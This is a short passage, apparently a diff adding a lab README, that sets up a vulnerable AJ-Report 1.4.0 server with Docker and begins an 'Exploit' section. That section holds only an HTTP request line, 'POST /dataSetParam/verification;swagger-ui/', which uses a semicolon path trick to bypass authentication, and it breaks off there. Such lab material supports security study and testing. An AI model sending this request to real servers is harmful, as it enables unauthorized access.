+## Vulnerable environment
+
+Execute following command to start a AJ-Report server 1.4.0:
+
+```
+docker compose up -d
+```
+
+After the server is started, you can see the login page of AJ-Report through `http://your-ip:9095`.
+
+## Exploit
+
+To exploit the issue by following request:
+
+```
+POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
